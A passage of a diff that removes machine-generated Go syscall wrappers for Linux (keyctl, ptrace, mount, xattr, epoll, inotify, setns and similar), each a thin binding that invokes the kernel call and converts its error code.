-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
